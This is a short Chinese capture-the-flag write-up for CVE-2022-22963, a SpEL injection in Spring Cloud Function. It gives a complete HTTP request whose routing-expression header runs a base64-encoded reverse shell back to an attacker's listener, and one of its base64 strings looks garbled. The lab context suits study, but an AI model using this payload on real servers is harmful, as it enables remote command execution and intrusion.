春秋云境:CVE-2022-22963
文章合集:春秋云境系列靶场记录(合集)
关注WX:【小白SEC】查看更多内容……
Spring Cloud Function functionRouter SPEL代码执行漏洞:CVE-2022-22963
漏洞介绍
SpringCloudFunction是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时, HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。 题目链接为:http://ip:port P.S 卡慢不影响拿flag
解题步骤
-
访问URL是报错页面,使用BurpSuite抓包:
-
访问:进行抓包,发送到【Repeater】模块
-
VPS开启端口监听:
-
构造反弹shell命令并进行base64加密:
{echo,c2ggLWkgPiYgE2OiCM90YkL2RldyLj3AvMTDAuMS83MDAzIDA+JjE=}|{base64,-d}|{bash,-i}
-
返回BurpSuite修改数据包为如下:
POST /functionRouter HTTP/1.1
Host: 47.95.3.91:37939
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: COOKIE_LAST_ADMIN_USER=admin; cookies_accepted=1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS83MDAzIDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
- 查看VPS,反弹shell成功,查看flag
文章合集:春秋云境系列靶场记录(合集)